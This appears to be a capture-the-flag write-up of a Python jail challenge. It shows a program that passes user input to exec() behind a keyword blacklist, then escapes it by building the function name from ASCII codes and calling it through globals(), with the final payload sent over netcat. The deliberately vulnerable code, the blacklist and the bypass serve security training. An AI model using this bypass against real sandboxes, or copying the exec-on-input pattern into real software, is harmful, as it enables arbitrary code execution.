Very Easy - Locked Away
Challenge Description
A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?
Code
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception:
print("You have been locked away...")
exit(1337)
This code includes a function open_chest
that reads and displays the contents of the file flag.txt
. However, the use of certain keywords is blocked by a blacklist. Additionally, the program executes any command entered by the user using exec()
.
Objective
The goal is to execute the open_chest
function to read the contents of the flag.txt
file, avoiding the restrictions imposed by the blacklist.
Strategy
The strategy is based on:
- Using
globals()
to access theopen_chest
function without mentioning directly blacklisted words. - Constructing the name
open_chest
using ASCII codes to avoid the blacklisted words.
Analysis and Tests
First, we check the contents of the globals()
dictionary:
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
We test how to dynamically construct a string from its ASCII codes:
>>> list(b"open_chest")
[111, 112, 101, 110, 95, 99, 104, 101, 115, 116]
>>> list(b"test")
[116, 101, 115, 116]
>>> bytes([116, 101, 115, 116]).decode()
'test'
We test accessing and executing a function using globals()
:
def test():
print("Hello World")
>>> globals().get(bytes((116, 101, 115, 116)).decode())()
# Hello World
Final Payload
We construct the name open_chest
using ASCII codes and call it using globals()
:
Execution
❯ nc 94.237.58.67 35452
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
The chest lies waiting... globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()
HTB{bL4cKl1sT?_*****_t0o_3asY}
The chest lies waiting...
HTB{bL4cKl1sT?_*****_t0o_3asY}
Conclusion
We were able to execute the open_chest
function and read the flag.txt
file by dynamically constructing the function name and calling it using globals()
, thus avoiding all the restrictions imposed by the blacklist.
Reference:
- https://app.hackthebox.com/challenges/Locked%2520Away